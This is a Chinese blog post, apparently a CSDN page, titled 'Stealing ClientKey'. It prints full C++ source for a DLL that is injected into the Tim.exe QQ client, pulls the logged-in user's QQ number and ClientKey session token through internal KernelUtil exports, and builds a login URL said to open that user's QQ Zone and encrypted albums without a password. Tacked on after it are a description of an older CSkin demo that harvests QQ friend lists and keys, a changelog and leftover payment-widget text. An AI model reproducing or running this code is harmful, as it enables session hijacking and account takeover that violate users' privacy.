窃取ClientKey

编译好DLL,直接注入Tim.exe,使用dbgView等工具查看输出的url,复制到任何一台电脑,使用浏览器打开这个url,就可以不需要密码进入某人的空间,查看加密相册等~

DLL源码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <WTypes.h>

//定义CTXStringW为BSTR
typedef BSTR CTXStringW;

CTXStringW AllocTXString(const wchar_t* lpSrc)
{
    if (lpSrc == NULL) return NULL;
    BYTE* bBuffer = new BYTE[16 + (wcslen(lpSrc) + 1) * 2];
    if (bBuffer == NULL) return NULL;
    DWORD dwZero = 0;
    DWORD dwCount = 3;
    DWORD dwLenth = wcslen(lpSrc) + 1;
    memmove(bBuffer + 0 * 4, &dwZero, 4);
    memmove(bBuffer + 1 * 4, &dwCount, 4);
    memmove(bBuffer + 2 * 4, &dwLenth, 4);
    memmove(bBuffer + 3 * 4, &dwLenth, 4);
    wcscpy((wchar_t*)(bBuffer + 4 * 4), lpSrc);
    return CTXStringW(bBuffer + 16);
}

VOID Steal()
{
    do {

        HMODULE hKernelUtil = GetModuleHandle(L"KernelUtil.dll");
        if (hKernelUtil == NULL)
        {
            OutputDebugStringA("Get KernelUtil Module failed \n");
            break;
        }

        PVOID PtrGetSelfUin = GetProcAddress(hKernelUtil, "?GetSelfUin@Contact@Util@@YAKXZ");
        if (PtrGetSelfUin == NULL)
        {
            OutputDebugStringA("Get GetSelfUin Function failed \n");
            break;
        }

        DWORD uin = ((int(*)(int))PtrGetSelfUin)(1);
        if (uin == NULL)
        {
            OutputDebugStringA("Invoke GetSelfUin Function failed \n");
            break;
        }

        // Print QQ number
        char szUin[MAX_PATH] = { 0 };
        sprintf(szUin, "%d", uin);

        PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
        if (GetSignature == NULL)
        {
            OutputDebugStringA("Get GetSignature Function failed \n");
            break;
        }

        WCHAR wsBuffer[MAX_PATH] = { 0 };
        CTXStringW ClientKey = AllocTXString(wsBuffer);
        PVOID res = ((PVOID(*)(PVOID,const char*))GetSignature)(&ClientKey,"buf32ByteValueAddedSignature");
        if (res == NULL)
        {
            OutputDebugStringA("Invoke GetSignature Function failed \n");
            break;
        }

        // 复制下面链接,无需密码,进入QQ空间
        char msg[MAX_PATH] = { 0 };
        sprintf(msg, "https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%s&clientkey=%ws&u1=https://user.qzone.qq.com/%s%/infocenter&source=panelstar\n",szUin,ClientKey,szUin);
        OutputDebugStringA(msg);

    } while (0);
   


}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Steal();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


说明: 本案例教会大家,如何获取已登录QQ用户的好友列表以及使用权限。涉及到ClientKey的漏洞利用和空间g_tk的算法,以及一些QQ接口的运用。 功能: 1.获取本机已登录QQ(QQ号,QQ名称,万能密钥Key)。 2.获取已登录QQ的好友列表(Q名,备注名,黄钻等级,朋友网姓名)。 3.各类QQ接口的应用(强制聊天,加为好友,发送邮件等)。 4.CSkin界面库15.3.10版本更新(本案例运行目录下CSkin.dll即是)。 提示: 示例绝非病毒!本案例涉及到QQ信息的获取操作,所以会被360误报,也可以看过源码后再运行。 本期CSKin界面库更新内容: CSKIN-15.3.10 1.修复日期控件悬浮显示日期不正确的BUG。 2.SkinListView加入双缓冲,减少闪烁。 3.修复SkinSplitContainer拉伸不重绘的BUG。 4.SkinSplitContainer添加颜色控制属性: (LineBack:分割线渐变背景色1) (LineBack2:分割线渐变背景色2) (ArroColor:箭头颜色) (ArroHoverColor:箭头悬浮时颜色) 5.修复窗体最大化,双屏问题。 6.修复边框None模式下无法全屏的问题。 7.MessageBoxEx字体修复。 8.MDI子窗体时不绘制阴影。 9.SkinButton添加属性: (BorderInflate:边框放大指定变量 ) (IsDrawBorder:是否绘制边框 ) (IsDrawGlass:是否启用渐变色Glass效果) 10.修复SkinListBox的渐变设置效果。 发布时间: 2015-3-10 14:31:28 官方网站:www.cskin.net 效果图可到以下地址查看: 资源来至:http://bbs.cskin.net/thread-678-1-1.html
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值